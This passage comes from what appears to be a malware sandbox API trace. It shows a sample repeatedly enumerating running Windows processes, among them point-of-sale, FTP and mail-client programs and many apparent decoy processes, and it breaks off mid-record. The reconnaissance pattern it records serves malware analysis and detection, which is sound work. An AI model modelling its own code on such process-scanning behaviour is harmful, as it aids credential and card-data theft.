pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0237.648] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0237.649] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0237.651] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0237.652] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0237.654] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0237.655] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0237.657] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0237.658] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0237.660] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0237.661] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0237.663] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0237.664] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0237.666] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0237.667] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0237.669] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.670] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0237.672] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0237.673] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0237.722] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0237.724] CloseHandle (hObject=0x13b0) returned 1 [0237.724] Sleep (dwMilliseconds=0x64) [0237.770] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0237.781] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.782] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.784] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.785] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.786] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.788] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.789] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.790] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.792] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.793] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.795] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.797] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.798] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.849] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.851] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.852] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.854] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.855] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.856] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.858] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.859] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0237.860] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0237.862] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.863] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.864] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0237.866] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0237.867] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0237.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.870] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0237.872] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0237.874] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0237.876] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0237.878] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0237.880] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0237.882] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0237.883] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0237.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0237.887] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0237.889] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0237.891] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0237.893] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0237.944] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0237.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0237.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0237.949] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0237.951] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0237.952] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0237.953] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0237.955] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0237.956] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0237.958] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0237.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0237.960] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0237.962] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0237.963] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0237.964] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0237.966] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0237.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0237.969] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0237.971] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0237.973] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0237.974] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0237.976] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0237.978] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0237.980] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: 